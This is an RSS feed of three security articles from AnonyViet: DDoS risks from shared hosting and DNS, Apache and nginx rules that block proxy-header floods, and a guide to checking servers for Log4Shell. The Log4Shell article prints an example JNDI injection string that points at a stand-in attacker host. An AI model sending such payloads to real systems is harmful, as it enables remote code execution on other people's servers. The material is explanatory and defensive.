<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	 xmlns:media="http://search.yahoo.com/mrss/" >

<channel>
	<title>attacked &#8211; AnonyViet &#8211; English Version</title>
	<atom:link href="https://en.anonyviet.com/tag/attacked/feed/" rel="self" type="application/rss+xml" />
	<link>https://en.anonyviet.com</link>
	<description>The most popular website for sharing information technology, computer networks, and security knowledge. Stay up to date with the hottest news and tips</description>
	<lastBuildDate>Tue, 01 Dec 2026 04:35:33 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.1.5</generator>

<image>
	<url>https://en.anonyviet.com/wp-content/uploads/2023/01/cropped-ico-logo-75x75-1.png</url>
	<title>attacked &#8211; AnonyViet &#8211; English Version</title>
	<link>https://en.anonyviet.com</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>The website can still be interrupted when the hosting infrastructure is attacked</title>
		<link>https://en.anonyviet.com/the-website-can-still-be-interrupted-when-the-hosting-infrastructure-is-attacked/</link>
					<comments>https://en.anonyviet.com/the-website-can-still-be-interrupted-when-the-hosting-infrastructure-is-attacked/#respond</comments>
		
		<dc:creator><![CDATA[AnonyViet]]></dc:creator>
		<pubDate>Tue, 01 Dec 2026 04:35:33 +0000</pubDate>
				<category><![CDATA[Network]]></category>
		<category><![CDATA[attacked]]></category>
		<category><![CDATA[Hosting]]></category>
		<category><![CDATA[infrastructure]]></category>
		<category><![CDATA[interrupted]]></category>
		<category><![CDATA[Website]]></category>
		<guid isPermaLink="false">https://en.anonyviet.com/?p=23268</guid>

					<description><![CDATA[A website does not have to be the direct target of a DDoS attack to be disrupted. When using the same hosting infrastructure or IP address with many other services, businesses can still be affected if the provider is attacked or must apply traffic isolation measures to protect the system. 📢 Join the channel Telegram [&#8230;]]]></description>
										<content:encoded><![CDATA[
<div id="ftwp-postcontent">
<p><em>A website does not have to be the direct target of a DDoS attack to be disrupted. When using the same hosting infrastructure or IP address with many other services, businesses can still be affected if the provider is attacked or must apply traffic isolation measures to protect the system.</em></p>
<div class="av-telegram-box" style="margin:16px 0;">
<div style="border:1px solid #dbeafe; background:linear-gradient(135deg,#eff6ff 0%,#ecfeff 100%); border-radius:14px; padding:14px 16px; box-shadow:0 4px 14px rgba(0,0,0,.06); text-align:center;">
<p> <span style="display:inline-block; margin-right:4px;">📢</span> Join the channel <span style="color:#2563eb;">Telegram</span> belong to <span style="color:#0f766e;">AnonyViet</span></p>
<p><a target="_blank" href="https://en.anonyviet.com/next-link?url=https%3A%2F%2Ft.me%2Fanonyvietoffical" target="_blank" rel="noopener nofollow" style="display:inline-flex; align-items:center; justify-content:center; gap:8px; background:#229ED9; color:#fff; text-decoration:none; font-weight:700; font-size:14px; padding:10px 14px; border-radius:10px; box-shadow:0 4px 10px rgba(34,158,217,.25);" class="local-link"><br />
<span>👉 Go to Telegram AnonyViet</span><br />
</a></p>
<p>  Update new articles, cool tools and IT tips fastest</p>
</div>
</div>
<h2 id="ftoc-1-vi-sao-website-bi-gian-doan-khi-nha-cung-cap-hosting-bi-tan-cong-ddos" class="ftwp-heading">1. Why is the website interrupted when the hosting provider is attacked by DDoS?</h2>
<p>Hosting and cloud providers operate the infrastructure that powers many websites, applications, and online services. Therefore, when their network becomes a DDoS target, the impact can spread to many customers using the same resources.</p>
<p>One of the notable techniques is Carpet Bombing. Instead of concentrating traffic on one IP address, the attacker distributes traffic across multiple addresses belonging to the same network range. Each address may only receive a certain amount of traffic, but the total traffic across the spectrum still puts a lot of pressure on the infrastructure.</p>
<p>When the target is a hosting provider, many services can be affected even though they are not directly targeted. For example, if an IP address serving multiple websites is attacked, the websites using that same IP are at risk of losing access. In cases where traffic overloads shared network resources, the scope of impact may be wider.</p>
<p>Another situation is where the provider must proactively isolate the attacked IP address. For example, with the BGP Blackholing mechanism, the carrier can eliminate traffic directed to the target IP to limit the impact on the rest of the network. This measure helps protect the common infrastructure but can also make services using IP isolated and inaccessible during processing time.</p>
<p>Therefore, businesses that rent hosting or cloud services cannot only evaluate the anti-DDoS ability on their website.<a target="_blank" href="https://en.anonyviet.com/next-link?url=https%3A%2F%2Fviettelsecurity.com%2Fvi%2Fcach-chong-ddos%2F" rel="noopener" class="local-link"> DDoS attacks and how to prevent them</a> needs to be considered on both sides: the system managed by the enterprise and the infrastructure operated by the supplier. The ability to coordinate between the two parties directly affects the effectiveness of handling when an incident occurs.</p>
<figure style="width: 600px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" src="https://anonyviet.com/wp-content/uploads/2026/12/anonyviet.com-image-104967-1.png" alt="Carpet Bombing distributes traffic across multiple IP addresses, which can put pressure on shared network infrastructure" width="600" height="400" title="Website can still be interrupted when hosting infrastructure is attacked 7"/><figcaption class="wp-caption-text">Carpet Bombing distributes traffic across multiple IP addresses, which can put pressure on shared network infrastructure</figcaption></figure>
<h2 id="ftoc-2-dns-mat-xich-quan-trong-trong-kha-nang-truy-cap-website" class="ftwp-heading">2. DNS: An important link in website accessibility</h2>
<p>DNS (Domain Name System) is a system that resolves domain names into IP addresses, helping browsers find the correct server when users access websites. If DNS has problems, users may not be able to access the website even though the server and application still work normally.</p>
<p>Some forms of DDoS attacks can target the DNS infrastructure directly.</p>
<ul>
<li><strong>DNS Amplification – DNS amplification attack: </strong>Attackers take advantage of DNS Resolver servers to allow queries from outside. The attacker sends queries with the victim&#8217;s fake source IP address. These servers respond to queries about the victim&#8217;s address, with an amount of data that can be many times larger than the original request. When multiple servers respond at the same time, the traffic flowing to the target system can overload the connection.</li>
<li><strong>NTP Amplification – NTP amplification attack: </strong>Similar to DNS Amplification, this technique takes advantage of an insecure NTP server configuration to generate large response traffic towards the victim. However, NTP is a time synchronization protocol, not a component of DNS. The two methods have similar amplification mechanisms but exploit different protocols.</li>
<li><strong>DNS Water Torture – Random subdomain query attack: </strong>Attackers send large numbers of queries to non-existent subdomains, making it difficult for the system to take advantage of cached data. The DNS server has to process more requests, increasing the load on the resolving system and authoritative DNS servers.</li>
</ul>
<p>These attacks show that protecting web servers is not enough if access support components such as DNS are still at risk of being overloaded.</p>
<p>Businesses can reduce risks by three measures:</p>
<ul>
<li><strong>Set up backup DNS:</strong> Use DNS systems with independent infrastructure, with appropriate switching configuration when a system has problems.</li>
<li><strong>Query control:</strong> Configure the query frequency limit to suit the DNS server&#8217;s role and actual traffic.</li>
<li><strong>Monitor DNS activity:</strong> Monitor query traffic, resolution latency, error response rates, and anomalies to detect overload risk early.</li>
</ul>
<p>In particular, the backup DNS system needs to be checked periodically to ensure it can receive queries when the main system has problems. Simply setting up multiple DNS servers without testing portability is not enough to ensure service continuity.</p>
<figure style="width: 600px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" src="https://anonyviet.com/wp-content/uploads/2026/12/anonyviet.com-image-104967-2.png" alt="DNS is an important link in website accessibility" width="600" height="338" title="Website can still be interrupted when hosting infrastructure is attacked 8"/><figcaption class="wp-caption-text">DNS is an important link in website accessibility</figcaption></figure>
<h2 id="ftoc-3-nhung-cau-hoi-can-dat-ra-khi-chon-nha-cung-cap-hosting-va-cloud" class="ftwp-heading">3. Questions to ask when choosing a hosting and cloud provider</h2>
<p>Before renting or renewing services, businesses should clarify the provider&#8217;s scope of protection and troubleshooting responsibilities. The six questions below help evaluate important factors.</p>
<p><strong>1. Does the service include an anti-DDoS solution?</strong></p>
<p>If so, it is necessary to understand the mitigation capacity, scope of protection and applicable limitations. Do not assume that the provider&#8217;s infrastructure protection layer includes the entire customer&#8217;s website and applications.</p>
<p><strong>2. How does protection apply to hosting, VPS and private servers?</strong></p>
<p>Businesses need to determine which components are managed by the provider and which components must be protected themselves, including operating systems, applications, DNS and data. This helps avoid missing parts that are not within the scope of the service.</p>
<p><strong>3. In what cases will the provider isolate IP addresses or limit traffic?</strong></p>
<p>It is necessary to ask clearly about the applicable criteria, scope of influence, processing time and how to restore service. If there are specific technical thresholds, businesses should ask the supplier to explain them in documents or contracts.</p>
<p><strong>4. How does the supplier commit to response and recovery times?</strong></p>
<p>It is necessary to distinguish between incident reception time, mitigation measure implementation time and service recovery time. These metrics should be expressed in service level agreements (SLA), with applicable conditions and responsibilities when commitments are not met.</p>
<p><strong>5. How are customers notified when infrastructure problems occur?</strong></p>
<p>Businesses should clearly ask for notification time, contact channel and updated content, including scope of impact, identified cause and handling status. This information helps distinguish problems at the website from problems arising from the provider infrastructure.</p>
<p><strong>6. How do the two sides coordinate and restore services when an attack occurs?</strong></p>
<p>It is necessary to identify technical focal points, emergency communication channels and handling responsibilities of each party. Businesses should also explore the possibility of switching IP addresses or redundant infrastructure, how long it takes, and what configurations need to be updated.</p>
<p>For businesses whose revenue depends on the website, the answers to the six questions above help assess the safety level of the infrastructure in use. Depending on the results, businesses can continue to use the current service, add additional protection solutions, or switch to a provider with more appropriate protection scope and operational commitment.</p>
<p>If implementing an intermediate DDoS protection layer, businesses need to configure it to limit direct access to the origin server. If the server IP remains public and allows direct connections, an attacker can bypass the middleman protection layer to continue targeting the system.</p>
<p>Businesses can refer<a target="_blank" href="https://en.anonyviet.com/next-link?url=https%3A%2F%2Fviettelsecurity.com%2Fvi%2Fdich-vu-chong-ddos%2F" rel="noopener" class="local-link"> anti-DDoS service</a> to learn about options for protecting infrastructure and maintaining accessibility for websites and applications.</p>
<p>Websites can be disrupted even if they are not the direct target of the attack. Therefore, businesses need to simultaneously evaluate the protection capabilities of the website, hosting, cloud and DNS infrastructure in use. Clarifying the scope of responsibility, troubleshooting conditions and backup plans with suppliers will help limit the risk of disruption and protect online business operations.</p>
</div>
]]></content:encoded>
					
					<wfw:commentRss>https://en.anonyviet.com/the-website-can-still-be-interrupted-when-the-hosting-infrastructure-is-attacked/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<media:content url="https://anonyviet.com/wp-content/uploads/2026/12/anonyviet.com-image-104967-1.png" medium="image"></media:content>
	</item>
		<item>
		<title>Anti-DDOS when attacked by Proxy</title>
		<link>https://en.anonyviet.com/anti-ddos-when-attacked-by-proxy/</link>
					<comments>https://en.anonyviet.com/anti-ddos-when-attacked-by-proxy/#respond</comments>
		
		<dc:creator><![CDATA[AnonyViet]]></dc:creator>
		<pubDate>Tue, 31 Jan 2023 04:44:53 +0000</pubDate>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[AntiDDoS]]></category>
		<category><![CDATA[attacked]]></category>
		<category><![CDATA[Proxy]]></category>
		<guid isPermaLink="false">https://en.anonyviet.com/?p=7181</guid>

					<description><![CDATA[Recently, a number of reworked scripts from the shared code on the network are used to attack denial of service, these refactored scripts are often modified by the attacker to use a list of proxies to flood, so it is difficult to detect. limit request/connection, when I log out, I see a large number of [&#8230;]]]></description>
										<content:encoded><![CDATA[<p></p>
<div>
<p style="text-align: justify;">Recently, a number of reworked scripts from the shared code on the network are used to attack denial of service, these refactored scripts are often modified by the attacker to use a list of proxies to flood, so it is difficult to detect. limit request/connection, when I log out, I see a large number of accesses from many different IPs.</p>
<div class="code-block code-block-16" style="margin: 8px 0; clear: both;">
<div align="center">
<table class=" aligncenter" style="background-color: #c0c0c0; border-collapse: collapse; width: 59.9985%;">
<tbody>
<tr>
<td style="width: 100%; text-align: center;"><span style="font-size: 12pt;"><strong>Join the channel <span style="color: #0000ff;">Telegram</span> of the <span style="color: #008080;">AnonyViet </span> 👉 <span style="text-decoration: underline;"><a target="_blank" href="https://en.anonyviet.com/next-link?url=https%3A%2F%2Ft.me%2Fanonyvietchat" class="local-link" rel="noopener">Link</a></span>  👈</strong></span></td>
</tr>
</tbody>
</table>
</div>
</div>
<p style="text-align: justify;">However, because the attacker uses free proxies here, they all have one thing in common, &#8220;X_Forwarded_For&#8221;.  This type of attack, if hit on a highly configured server, often overloads internal services such as Database (Mysql) or CGI (PHP, Perl, Websocket, &#8230;) causing a &#8220;Time out&#8221; error due to too much processing. request 1 time.</p>
<p style="text-align: justify;"><img fetchpriority="high" decoding="async" class="alignnone size-full wp-image-4038" src="https://anonyviet.com/wp-content/uploads/2017/01/bao-ve-vps-khoi-tan-cong-ddos-flood-2.jpg" width="851" height="443" alt="bao-ve-vps-hoi-tan-cong-ddos-flood-2" srcset="https://anonyviet.com/wp-content/uploads/2017/01/bao-ve-vps-khoi-tan-cong-ddos-flood-2.jpg 851w, https://anonyviet.com/wp-content/uploads/2017/01/bao-ve-vps-khoi-tan-cong-ddos-flood-2-300x156.jpg 300w, https://anonyviet.com/wp-content/uploads/2017/01/bao-ve-vps-khoi-tan-cong-ddos-flood-2-768x400.jpg 768w, https://anonyviet.com/wp-content/uploads/2017/01/bao-ve-vps-khoi-tan-cong-ddos-flood-2-750x390.jpg 750w" sizes="(max-width: 851px) 100vw, 851px" title="Fight DDOS when attacked by Proxy 6"/></p>
<p style="text-align: justify;">The configuration below will help you in such cases, it blocks all requests containing X-Forwarded_For so as not to affect the back-end services.  However, it also depends on the Webserver you use and server configuration, if the webserver like apache is slow to handle congestion and hangs, you should build nginx first to block.</p>
<p><span style="color: #0000ff;"><strong>For Servers using Apache:</strong></span></p>
<p>Add the following code to the .htaccess file</p>
<p>/share/anti_dos_through_multi_proxies</p>
<pre class="lang:default decode:true"># .htaccess for apache&#13;
&lt;IfModule mod_rewrite.c&gt;&#13;
RewriteEngine on&#13;
RewriteCond %{HTTP:VIA} !^$ [OR]&#13;
RewriteCond %{HTTP:FORWARDED} !^$ [OR]&#13;
RewriteCond %{HTTP:USERAGENT_VIA} !^$ [OR]&#13;
RewriteCond %{HTTP:X_FORWARDED_FOR} !^$ [OR]&#13;
RewriteCond %{HTTP:PROXY_CONNECTION} !^$ [OR]&#13;
RewriteCond %{HTTP:XPROXY_CONNECTION} !^$ [OR]&#13;
RewriteCond %{HTTP:HTTP_PC_REMOTE_ADDR} !^$ [OR]&#13;
RewriteCond %{HTTP:XROXY_CONNECTION} !^$ [OR]&#13;
RewriteCond %{HTTP:X-FORWARDED-FOR} !^$ [OR]&#13;
RewriteCond %{HTTP:HTTP_CLIENT_IP} !^$ [OR]&#13;
RewriteCond %{HTTP:FORWARDED-FOR} !^$ [OR]&#13;
RewriteCond %{HTTP:X-FORWARDED} !^$&#13;
RewriteRule ^(.*)$ - [F]&#13;
&lt;/IfModule&gt;</pre>
<div class="text_exposed_show">
<p><span style="color: #0000ff;"><strong>For Servers using Nginx:</strong></span></p>
<pre class="lang:default decode:true"># nginx config&#13;
if ($http_x_forwarded_for) {return 444;}</pre>
</p>
</div>
<div class="kk-star-ratings kksr-auto kksr-align-right kksr-valign-bottom" data-payload="{&quot;align&quot;:&quot;right&quot;,&quot;id&quot;:&quot;1958&quot;,&quot;slug&quot;:&quot;default&quot;,&quot;valign&quot;:&quot;bottom&quot;,&quot;ignore&quot;:&quot;&quot;,&quot;reference&quot;:&quot;auto&quot;,&quot;class&quot;:&quot;&quot;,&quot;count&quot;:&quot;100&quot;,&quot;legendonly&quot;:&quot;&quot;,&quot;readonly&quot;:&quot;&quot;,&quot;score&quot;:&quot;5&quot;,&quot;starsonly&quot;:&quot;&quot;,&quot;best&quot;:&quot;5&quot;,&quot;gap&quot;:&quot;5&quot;,&quot;greet&quot;:&quot;\u0110\u00e1nh gi\u00e1 b\u00e0i vi\u1ebft post&quot;,&quot;legend&quot;:&quot;B\u00e0i vi\u1ebft \u0111\u1ea1t: 5\/5 - (100 b\u00ecnh ch\u1ecdn)&quot;,&quot;size&quot;:&quot;24&quot;,&quot;width&quot;:&quot;142.5&quot;,&quot;_legend&quot;:&quot;B\u00e0i vi\u1ebft \u0111\u1ea1t: {score}\/{best} - ({count} {votes})&quot;,&quot;font_factor&quot;:&quot;1.25&quot;}">
<p>            The article achieved: 5/5 &#8211; (100 votes)    </p>
</p></div>
<p><!-- AI CONTENT END 2 --></p></div>
]]></content:encoded>
					
					<wfw:commentRss>https://en.anonyviet.com/anti-ddos-when-attacked-by-proxy/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<media:content url="https://anonyviet.com/wp-content/uploads/2016/06/bao-ve-vps-khoi-tan-cong-ddos-flood-2.jpg" medium="image"></media:content>
	</item>
		<item>
		<title>How to check if the server is attacked by Log4j (Log4Shell) or not</title>
		<link>https://en.anonyviet.com/how-to-check-if-the-server-is-attacked-by-log4j-log4shell-or-not/</link>
					<comments>https://en.anonyviet.com/how-to-check-if-the-server-is-attacked-by-log4j-log4shell-or-not/#respond</comments>
		
		<dc:creator><![CDATA[AnonyViet]]></dc:creator>
		<pubDate>Wed, 25 Jan 2023 03:33:34 +0000</pubDate>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[attacked]]></category>
		<category><![CDATA[check]]></category>
		<category><![CDATA[Log4j]]></category>
		<category><![CDATA[Log4Shell]]></category>
		<category><![CDATA[Server]]></category>
		<guid isPermaLink="false">https://en.anonyviet.com/?p=2510</guid>

					<description><![CDATA[A critical exploit in the Java library was found not long ago, disrupting much of the Internet causing server administrators to try to fix it. The very vulnerable library, log4j, is used everywhere, so you&#8217;ll need to check your servers and make sure they&#8217;re up to date. Join the channel Telegram of the AnonyViet 👉 [&#8230;]]]></description>
										<content:encoded><![CDATA[<p></p>
<div id="ftwp-postcontent">
<p><strong>A critical exploit in the Java library was found not long ago, disrupting much of the Internet causing server administrators to try to fix it.  The very vulnerable library, log4j, is used everywhere, so you&#8217;ll need to check your servers and make sure they&#8217;re up to date.</strong></p>
<div class="code-block code-block-16" style="margin: 8px 0; clear: both;">
<div align="center">
<table class=" aligncenter" style="background-color: #c0c0c0; border-collapse: collapse; width: 59.9985%;">
<tbody>
<tr>
<td style="width: 100%; text-align: center;"><span style="font-size: 12pt;"><strong>Join the channel <span style="color: #0000ff;">Telegram</span> of the <span style="color: #008080;">AnonyViet </span> 👉 <span style="text-decoration: underline;"><a target="_blank" href="https://en.anonyviet.com/next-link?url=https%3A%2F%2Ft.me%2Fanonyvietchat" class="local-link" rel="noopener">Link</a></span>  👈</strong></span></td>
</tr>
</tbody>
</table>
</div>
</div>
<p><img decoding="async" class="aligncenter wp-image-38146 size-full" src="https://anonyviet.com/wp-content/uploads/2021/12/ebdb98ee.jpg" alt="How to check if your server is vulnerable to log4j (Log4Shell) attacks" width="900" height="466" srcset="https://anonyviet.com/wp-content/uploads/2021/12/ebdb98ee.jpg 900w, https://anonyviet.com/wp-content/uploads/2021/12/ebdb98ee-300x155.jpg 300w, https://anonyviet.com/wp-content/uploads/2021/12/ebdb98ee-768x398.jpg 768w, https://anonyviet.com/wp-content/uploads/2021/12/ebdb98ee-750x388.jpg 750w" sizes="(max-width: 900px) 100vw, 900px" title="How to check if the server is attacked by Log4j (Log4Shell) or not 7"/></p>
<h2 id="ftoc-lo-hong-log4j-hoat-dong-nhu-the-nao" class="ftwp-heading">How does the Log4J vulnerability work?</h2>
<p>As it turns out, the log4j vulnerability is by far one of the worst of the past few years, scoring a rare 10/10 on the CVSS scale and will haunt the entire internet for years to come.</p>
<p>What&#8217;s worse is that log4j isn&#8217;t an application — it&#8217;s an open-source library used by many other applications.  You can&#8217;t install it directly;  it can be included in other .jar files or installed by other applications as a dependency.</p>
<p>It basically allows attackers to send text to your application, and if it logs this text somewhere, your server will execute malicious code.  The format of the text looks like this: an extremely simple string containing a link to a remote address.</p>
<pre>${jndi:ldap://attacker.com/a}</pre>
<p>The vulnerable component in log4j is <a target="_blank" href="https://en.anonyviet.com/next-link/?url=https%3A%2F%2Fwww.blackhat.com%2Fdocs%2Fus-16%2Fmaterials%2Fus-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf" rel="noopener external nofollow" class="ext-link" onclick="this.target='_blank';">Java Naming and Directory Interface</a>, which allows the framework to log the execution of remote requests.  Except it also decrypts the file at the endpoint and can load .class files that contain remote malware.</p>
<h2 id="ftoc-server-co-de-bi-tan-cong-bang-loi-log4j-khong" class="ftwp-heading">Is the server vulnerable to the Log4J bug?</h2>
<p>This vulnerability was quickly patched in the latest release of log4j, 2.16.0, but the issue remains unresolved.  Since log4j is a dependency, finding its specific version on your system may not be straightforward.  And, because Java is so popular, many third-party tools and components can use it, so you might not even know if you&#8217;re running vulnerable Java software on your machine. are not.</p>
<p>Even if you think you&#8217;re not vulnerable, you still need to double-check.  This vulnerability affects so many systems that it&#8217;s likely that you&#8217;re running log4j or Java without realizing it.</p>
<p>Fortunately, JDK versions greater than 6u211, 7u201, 8u191 and 11.0.1 are not affected by the main attack vector (using LDAP) that is currently being exploited the most.  You still need to patch it, as it can easily be used with other attack vectors as well.  Also, the simple act of making a request to an endpoint can expose data about machines on your network, which is also not a good thing.</p>
<p>The vulnerability also tells you why it&#8217;s important to keep a Software Bill of Materials (SBOM), which is basically a list of all the software on your system, where it came from, and how it was made. from where.  In the future, this information can help you quickly patch attacks like this.</p>
<p>For now, you just need to be concerned with scanning your system for log4j versions used by the software and making a list of all vulnerable components.</p>
<h2 id="ftoc-cach-kiem-tra-server-co-bi-tan-cong-boi-log4j-log4shell-hay-khong" class="ftwp-heading">How to check if the server is attacked by Log4j (Log4Shell) or not</h2>
<p>Many people have created scripts to automatically scan the system and find vulnerable installations, such as <a target="_blank" href="https://en.anonyviet.com/next-link?url=https%3A%2F%2Fanonyviet.com%2Flog4j-scan-tool-scan-tim-cac-trang-web-dinh-loi-log4j%2F" rel="noopener" class="local-link">This popular script is written in Python</a> and <a target="_blank" href="https://en.anonyviet.com/next-link/?url=https%3A%2F%2Fwww.lunasec.io%2Fdocs%2Fblog%2Flog4j-zero-day-mitigation-guide%2F" rel="noopener external nofollow" class="ext-link" onclick="this.target='_blank';">this script from security company LunaSec</a>.  One of the easiest to use is<a target="_blank" href="https://en.anonyviet.com/next-link/?url=https%3A%2F%2Fgithub.com%2Frubo77%2Flog4j_checker_beta" rel="noopener external nofollow" class="ext-link" onclick="this.target='_blank';"> this simple bash script</a>, it can scan your packages and identify log4j versions and can also tell you whether your system is using Java or not.  In most cases you will need to run multiple scans with different scripts, as there is no guarantee that these scripts will be 100% effective in identifying every vulnerable system.</p>
<p>You can download and run it with a few commands.  You also need to run the command as root to scan your entire system.</p>
<pre>wget https://raw.githubusercontent.com/rubo77/log4j_checker_beta/main/log4j_checker_beta.sh -q&#13;
&#13;
chmod +x log4j_checker_beta.sh&#13;
&#13;
sudo ./log4j_checker_beta.sh</pre>
<p>The results from this script will tell you why this log4j vulnerability is so terrible — running this script on a server shows that it&#8217;s very vulnerable, even though I think I haven&#8217;t installed it yet Java on this machine because I&#8217;m not running any Java software.</p>
<p>Elasticsearch is running in the background on this machine, written in Java.  You don&#8217;t have to install Java manually to have Elasticsearch;  it includes a bundled version of OpenJDK.  And it&#8217;s stuck to log4j so it&#8217;s very easy to exploit.</p>
<p><img decoding="async" loading="lazy" class="aligncenter wp-image-38148 size-full" src="https://anonyviet.com/wp-content/uploads/2021/12/7f0c5672.jpg" alt="How to check if the server is attacked by Log4j (Log4Shell) or not 3" width="785" height="436" srcset="https://anonyviet.com/wp-content/uploads/2021/12/7f0c5672.jpg 785w, https://anonyviet.com/wp-content/uploads/2021/12/7f0c5672-300x167.jpg 300w, https://anonyviet.com/wp-content/uploads/2021/12/7f0c5672-768x427.jpg 768w, https://anonyviet.com/wp-content/uploads/2021/12/7f0c5672-750x417.jpg 750w" sizes="auto, (max-width: 785px) 100vw, 785px" title="How to check if the server is attacked by Log4j (Log4Shell) or not 8"/></p>
<p>To patch Elasticsearch, you need to update all packages and follow the mitigation instructions.  This can happen with any software you&#8217;re running;  you will need to update log4j directly, update the software that comes with it, or fix the bug with whatever mitigation method other people are using.</p>
<p>If you can&#8217;t patch the jar for some reason, you can use this JVM flag to mitigate the problem, which simply tells log4j to never do any lookups when formatting messages.  However, this is not recommended and you should try to install log4j 2.16.0 wherever possible to completely fix the problem.</p>
<pre>-Dlog4j2.formatMsgNoLookups=true</pre>
<div class="kk-star-ratings kksr-auto kksr-align-right kksr-valign-bottom" data-payload="{&quot;align&quot;:&quot;right&quot;,&quot;id&quot;:&quot;38145&quot;,&quot;slug&quot;:&quot;default&quot;,&quot;valign&quot;:&quot;bottom&quot;,&quot;ignore&quot;:&quot;&quot;,&quot;reference&quot;:&quot;auto&quot;,&quot;class&quot;:&quot;&quot;,&quot;count&quot;:&quot;100&quot;,&quot;legendonly&quot;:&quot;&quot;,&quot;readonly&quot;:&quot;&quot;,&quot;score&quot;:&quot;5&quot;,&quot;starsonly&quot;:&quot;&quot;,&quot;best&quot;:&quot;5&quot;,&quot;gap&quot;:&quot;5&quot;,&quot;greet&quot;:&quot;\u0110\u00e1nh gi\u00e1 b\u00e0i vi\u1ebft post&quot;,&quot;legend&quot;:&quot;B\u00e0i vi\u1ebft \u0111\u1ea1t: 5\/5 - (100 b\u00ecnh ch\u1ecdn)&quot;,&quot;size&quot;:&quot;24&quot;,&quot;width&quot;:&quot;142.5&quot;,&quot;_legend&quot;:&quot;B\u00e0i vi\u1ebft \u0111\u1ea1t: {score}\/{best} - ({count} {votes})&quot;,&quot;font_factor&quot;:&quot;1.25&quot;}">
<p>            The article achieved: 5/5 &#8211; (100 votes)    </p>
</p></div>
</div>
]]></content:encoded>
					
					<wfw:commentRss>https://en.anonyviet.com/how-to-check-if-the-server-is-attacked-by-log4j-log4shell-or-not/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<media:content url="https://anonyviet.com/wp-content/uploads/2021/12/ebdb98ee.jpg" medium="image"></media:content>
	</item>
	</channel>
</rss>
